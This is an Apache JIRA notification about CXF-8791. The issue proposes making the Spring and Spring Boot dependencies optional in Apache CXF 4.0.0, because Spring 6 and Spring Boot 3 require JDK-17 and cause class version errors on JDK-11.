[ https://issues.apache.org/jira/browse/CXF-8791?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8791: -- Affects Version/s: 4.0.0 > Make the Spring / Spring Boot dependencies optional > --- > > Key: CXF-8791 > URL: https://issues.apache.org/jira/browse/CXF-8791 > Project: CXF > Issue Type: Sub-task >Affects Versions: 4.0.0 >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0 > > > For Apache CXF, the Spring / Spring Boot dependencies are optional at runtime > however they are still being brought up transitively. For upcoming 4.0.0 > release this is a problem: we would like to stay on JDK-11 as a minimum > required baseline but Spring 6 / Spring Boot 3 set the JDK baseline to > JDK-17. Because of such misalignment, using Apache CXF with JDK-11 runtime > fails with "java.lang.UnsupportedClassVersionError" error, caused by the > presence of the Spring 6 / Spring Boot 3 JARs in the classpath. > The Spring / Spring Boot dependencies should be set as optional and when used > with Spring 6 / Spring Boot 3, the JDK requirements have to be documented. -- This message was sent by Atlassian Jira (v8.20.10#820010)
